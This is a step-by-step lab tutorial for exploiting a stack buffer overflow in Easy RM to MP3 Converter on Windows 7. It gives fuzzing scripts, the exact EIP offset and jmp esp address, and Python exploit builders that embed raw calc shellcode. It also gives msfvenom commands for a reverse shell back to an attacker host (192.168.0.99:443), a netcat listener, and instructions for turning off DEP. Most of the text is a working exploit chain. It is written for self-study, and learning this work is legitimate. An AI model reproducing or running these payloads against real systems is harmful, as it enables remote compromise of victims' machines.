Easy RM to MP3 Converter Buffer Overflow Exploit on Windows 7

In this exercise we are going to study crashing and exploiting the rstamous vulnerable Easy Rm to MP3 Converter program version 2.7.3.700 via buffer overflow technique.

PreRequisites:

  • Windows 7
  • Kali Linux with Metasploit
  • VMware Player
  • Immunity Debugger
  • Mona.py plug-in for Immunity Debugger
  • Python Scripting

  • Easy RM to MP3 Converter (you can download here)

Preparing The Environment:

I’m running a virtual Kali Linux on VMware Player to penetrate into my Windows 7. I prefer to use VMware Player in Unity mode which enables me drag&dropping files from Linux to Windows environment.

Unity

It is important also to make sure that Data Execution Prevention (DEP) is disabled on Windows platform. DEP is a protection mechanism by OS to prevent a shellcode from running for malicious purposes where data is expected as input.

You can disable DEP by running the following command on Command Prompt with Admin rights:

bcdedit.exe /set {current} nx AlwaysOff

To make sure that DEP is disabled, you can run the following command:

wmic OS Get DataExecutionPrevention_SupportPolicy

You will get one of the following results:

0 – DEP is disabled for all processes. 1 – DEP is enabled for all processes. 2 – DEP is enabled for only Windows system components and services. (Default) 3 – DEP is enabled for all processes.

The options 0 and 2 should be sufficient for us to run our exploit here.

Please make sure also that the two platforms can ping each other before starting. You don’t need to turn off Windows Firewall for this sample because we are going to use port 443 for network connection.

As a text editor on Kali Linux platform I prefer using gedit program (you can download by apt-get install gedit) but you can use vi, nano or any editor you like.

FUZZING

Please first click on Easy RM to MP3 program and try to understand how the program works. This is a simple program where you click on Load button to open media files in a variety of formats.

Easy RM MP3 Converter

Load button is the place where the program takes input. Our purpose here is to inquire whether it is possible to make the program crash with some overloaded input.

First let’s prepare a file name as long as 20.000 characters long:


#!/usr/bin/python
attack = 'A' * 20000
print attack

Fuzz-1

Next we need to make the program executable:

chmod a+x fuzz1

Then convert it into a .m3u media format as a proper input file for our program:

./fuzz1 > fuzz1.m3u

When we cat this file, we would see 20.000 A characters printed out:

Fuzz-1a

Our input file is ready, now we can copy it first to Linux Desktop and then drag&drop to Windows platform:

cp fuzz1.m3u ~/Desktop

Fuzz-1b

Now we can open Easy RM to MP3 Converter and click on Load. On File Type click select .m3u and then select fuzz1.m3u.

File Open

After loading our file, an error message should pop up, but our program doesn’t crash:

Fuzz-1c

Now copy the fuzz1 program into fuzz2 and increase the input value to 30.000:


#!/usr/bin/python
attack = 'A' * 30000
print attack

Again run the following commands to prepare the input file:

chmod a+x fuzz2

./fuzz2 > fuzz2.m3u

cp fuzz2.m3u ~/Desktop

When you select and load fuzz2 file with Easy RM to MP3 Converter program, you see that the program crahes. That means somewhere between 20.000 to 30.000 character the program is vulnerable!!!

Inviting Immunity Debugger into the Scene

Now run Immunity Debugger with Admin rights, open RM2MP3Converter.exe and click on Run button:

Immunity-1

Then again load the fuzz2.m3u file and see the program crash on debugging platform this time:

Immunity-2

You should see an error message denoting: Access violation when executing [41414141], where 41 means character ‘A’ in Hex format. We are on correct path!

Now it is time to prepare a pattern to see where exactly our program crashes.

This time copy the fuzz2 program into fuzz3 to prepare a unique pattern:

cp fuzz2 fuzz3


#!/usr/bin/python
 
prefix = 'A' * 20000
chars = ''
for a in range(0x41, 0x5A):
   for i in range(0x30, 0x3A):
      for j in range(0x30, 0x3A):
         chars += chr(a) + chr(a) + chr(i) + chr(j)
attack = prefix + chars
print attack

Again run the following commands to prepare the input file:

chmod a+x fuzz3

./fuzz3 > fuzz3.m3u

If you’ll cat the fuzz3.m3u file, you would see a unique pattern of characters after 20.000 ‘A’s:

Pattern Creation

Now copy the file into Desktop and then drag&drop into Windows platform again:

cp fuzz3.m3u ~/Desktop

When you load this file with Immunity Debugger environment, you would get a specific pattern of crash address:

Immunity-3

We see Access violation at [32325050]. Let’s restudy our python program and locate this point in our pattern. First which characters do these values stand for in ASCII? By referencing the Lookup Table below, we can easily see that it is equal to [22PP]. On little-endian addressing environment of i386 Intel platform, it is equal to “PP22”.

ASCII-Lookup Table

Let’s check out our python pattern structure:

Characters in ASCII Pattern

There are 400 characters hence bytes at each row and PP22 is at 16th at exactly 22nd column.Thus total number of bytes before “PP22” is;

15×400 bytes + 22×4 bytes

Targeting Instruction Pointer (EIP) Precisely

The idea is simple: determining the exact location of EIP when the crash happens and taking the control of the flow of the program after this.

Now copy the fuzz3 program into fuzz4 and start gediting to pinpoint the location of EIP as “BCDE”. Was our calculation indeed correct?:

cp fuzz3 fuzz4


#!/usr/bin/python
 
prefix = 'A' * (20000 + 15*400 + 22*4)
eip = 'BCDE'
padding = 'F' * (30000 - len(prefix) - 4)
attack = prefix + eip + padding
print attack

Don’t forget to run the following commands to prepare the input file:

chmod a+x fuzz4

./fuzz4 > fuzz4.m3u

cp fuzz4.m3u ~/Desktop

Again by loading the input file with our program, we can see that the crash indeed happens at [45444342] which is nothing else than hex equivalent of “BCDE” in little-endian platform.

Immunity-4

Jumping into ESP and Diving into Rabbit Hole

Now it is time to make sure we can run the code at the location we plan to inject into EIP. Here it is wise to to check out the ESP dump during the crash. On Immunity Debugger, when the program crashes, right-click on ESP register and choose “Follow in Dump“. Wee see that there are 4 “FFFF” characters to the next address line of ESP. We should keep this in mind as offset value.

Esp Dump

Here we can directly give the available address of ESP (0x000FF5E8) to the EIP. But this is not a reliable way, this address contains null bytes and may not be exactly the same on another machine. Instead, using “the address of jmp + esp instruction and adding some no operation (NOP) sleds is much more stable way.

We need be careful here, the address of jmp + esp instruction must belong a module which is not subject to Address Space Layout Randomization (ASLR), hence which doesn’t move. Here Mona.py plugin of Immunity Debugger comes into play. First list the available modules:

!mona modules

Mona Modules

We see that MSRMfilter03.dll is has the value of False for both ASLR and Rebase. Thus we can continue digging in that module:

!mona jmp -r esp -m MSRMfilter03.dll

Mona Modules

Yes, we found an address of push esp + ret instruction which practically equals to jmp + esp.

It is 0x1001b058.

Testing Code Execution

Now it is time to check out code execution. First we are going to use an INT 3 (‘\xCC’) interrupt. We add 4 bytes of FFFFs and some NOP sleds before the interrupt and after the EIP. Here NOP sleds are actually not required but they ensure that the flow of code execution doesn’t meet an Access Violation.

gedit attack1


#!/usr/bin/python
 
prefix = 'A' * (20000 + 15*400 + 22*4)
eip = '\x58\xb0\x01\x10'
offsetFFFF = 'FFFF'
nopsled = '\x90' * 16
int3 = '\xCC'
padding = 'F' * (30000 - len(prefix) - 4 -4 -16 -1)
attack = prefix + eip + offsetFFFF+ nopsled + int3 + padding
print attack

chmod a+x attack1

./attack1 > attack1.m3u

cp attack1.m3u ~/Desktop

Immunity-5

Yes, interrupt code indeed executes successfully. Now we can run an actual shellcode. Let’s try this one to call the calculator:

gedit attack2


#!/usr/bin/python
prefix = 'A' * (20000 + 15*400 + 22*4)
eip = '\x58\xb0\x01\x10'
skip4 = 'F' * 4
nopsled = '\x90' * 16
 
buf = (
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
 
padding = 'F' * (30000 - len(prefix) - 4 - 4 - 16 - len(buf))
attack = prefix + eip + skip4 + nopsled + buf + padding
print attack

chmod a+x attack2

./attack2 > attack2.m3u

cp attack2.m3u ~/Desktop

Exploit Running

Gotcha, our exploit runs! 🙂

But probably the purpose of our exploit is not to run calc.exe. We should find a way to get a shell of the victim computer. Here Metasploit Framework helps us building a proper shellcode:

First run ifconfig to learn your IP and use it as LHOST value inside the following command.

msfpayload windows/shell_reverse_tcp LHOST=”192.168.0.99″ LPORT=443 EXITFUNC=thread R | msfencode -e x86/alpha_mixed -f python

Because both msfpayload and msfencode are depreciated by Metasploit, you alternatively better use msfvenom to produce the shellcode:

msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=192.168.0.99 LPORT=443 -e x86/shikata_ga_nai -b ‘\x00’-i 3 -f python

This command will produce the necessary shellcode to make you have reverse TCP connection to get a Windows shell.

First start a listener on your Linux machine:

nc -nlvp 443

Now you can open the input file. Enjoy your exploit :)

Exploit Reverse Shell

On our next work we are going to study Return Oriented Programming to bypass DEP enabled environment.

References:

https://samsclass.info/127/proj/easymp3-with-aslr.htm

https://www.corelan.be/